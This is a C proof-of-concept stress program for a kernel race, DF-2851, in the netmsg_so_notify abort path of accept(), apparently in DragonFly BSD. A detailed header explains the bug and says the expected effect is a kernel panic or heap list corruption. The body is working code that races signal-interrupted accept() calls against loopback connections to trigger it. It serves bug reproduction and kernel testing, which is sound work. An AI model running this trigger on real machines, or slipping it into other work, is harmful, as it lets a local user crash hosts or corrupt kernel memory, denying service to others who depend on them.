/*
 * DF-2851 - netmsg_so_notify abort race (accept path) stress PoC
 *
 * Races the abort of a queued netmsg_so_notify (blocking accept()
 * interrupted by a signal) against the cross-CPU completion reply
 * (soisconnected -> sorwakeup(head) -> sowakeup -> soaccept_predicate
 * on a foreign netisr cpu).
 *
 * soaccept_predicate() reassigns msg->base.nm_so to the just-accepted
 * socket (uipc_syscalls.c:261) BEFORE sowakeup() calls lwkt_replymsg()
 * (which sets MSGF_REPLY).  netmsg_so_notify_abort() running on the
 * listener's netisr cpu in that window takes the ACCEPTED socket's
 * pool token (different hash slot => no serialization), passes the
 * DONE|REPLY recheck, and executes:
 *
 *   TAILQ_REMOVE(&accepted_so->so_rcv.ssb_mlist, nmsg, nm_list)  <-- wrong list
 *   lwkt_replymsg(&nmsg->base.lmsg, EINTR)                       <-- double reply
 *
 * Expected on INVARIANTS kernels: panic (KKASSERT in lwkt_thread_replyport,
 * or corrupted ssb_mlist / so_comp crash).  Non-INVARIANTS: heap list
 * corruption (stale tqe_prev unlink writes).
 *
 * Build:  cc -O2 -pthread -o accept_abort_race accept_abort_race.c
 * Run as: ./accept_abort_race [seconds]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

#define PORT       47117
#define NACCEPTORS 8
#define NKILLERS   2
#define NCONNECTORS 6

static volatile sig_atomic_t stop_now;
static int lfd;
static pthread_t acceptors[NACCEPTORS];
static unsigned long accept_ok, accept_eintr, accept_err;
static unsigned long conn_ok, conn_err, kills;

static void
sigusr1_handler(int sig __attribute__((unused)))
{
	/* nothing; sa_flags = 0 => accept() returns EINTR */
}

static void *
acceptor(void *arg)
{
	int idx = (int)(long)arg;

	(void) idx;
	while (!stop_now) {
		int fd = accept(lfd, NULL, NULL);
		if (fd >= 0) {
			__sync_fetch_and_add(&accept_ok, 1);
			close(fd);
		} else if (errno == EINTR) {
			__sync_fetch_and_add(&accept_eintr, 1);
		} else {
			__sync_fetch_and_add(&accept_err, 1);
			usleep(1000);
		}
	}
	return NULL;
}

static void *
killer(void *arg __attribute__((unused)))
{
	int i = 0;

	while (!stop_now) {
		pthread_kill(acceptors[i % NACCEPTORS], SIGUSR1);
		i++;
		__sync_fetch_and_add(&kills, 1);
		usleep(300);	/* keep signals frequent but let accepts block */
	}
	return NULL;
}

static void *
connector(void *arg __attribute__((unused)))
{
	struct sockaddr_in sin;

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(PORT);
	sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	while (!stop_now) {
		int s = socket(AF_INET, SOCK_STREAM, 0);
		if (s < 0) {
			__sync_fetch_and_add(&conn_err, 1);
			usleep(1000);
			continue;
		}
		if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == 0)
			__sync_fetch_and_add(&conn_ok, 1);
		else
			__sync_fetch_and_add(&conn_err, 1);
		close(s);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	struct sockaddr_in sin;
	struct sigaction sa;
	pthread_t th;
	int dur = 240, i, one = 1;

	if (argc > 1)
		dur = atoi(argv[1]);

	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = sigusr1_handler;
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = 0;			/* NO SA_RESTART => EINTR */
	if (sigaction(SIGUSR1, &sa, NULL) != 0) {
		perror("sigaction");
		return 1;
	}

	lfd = socket(AF_INET, SOCK_STREAM, 0);
	if (lfd < 0) {
		perror("socket");
		return 1;
	}
	setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(PORT);
	sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (bind(lfd, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
		perror("bind");
		return 1;
	}
	if (listen(lfd, 512) != 0) {
		perror("listen");
		return 1;
	}

	for (i = 0; i < NACCEPTORS; i++)
		pthread_create(&acceptors[i], NULL, acceptor, (void *)(long)i);
	for (i = 0; i < NKILLERS; i++)
		pthread_create(&th, NULL, killer, NULL);
	for (i = 0; i < NCONNECTORS; i++)
		pthread_create(&th, NULL, connector, NULL);

	fprintf(stderr, "DF-2851 stress: %d acceptors, %d killers, "
	    "%d connectors, %d seconds\n", NACCEPTORS, NKILLERS,
	    NCONNECTORS, dur);

	for (i = 0; i < dur; i++) {
		sleep(1);
		if (stop_now)
			break;
	}
	stop_now = 1;
	sleep(1);	/* let threads exit */

	fprintf(stderr, "summary: accepts=%lu eintr=%lu err=%lu "
	    "kills=%lu conns_ok=%lu conns_err=%lu\n",
	    accept_ok, accept_eintr, accept_err, kills, conn_ok, conn_err);
	fprintf(stderr, "NO CRASH: race not hit in this run\n");
	return 0;
}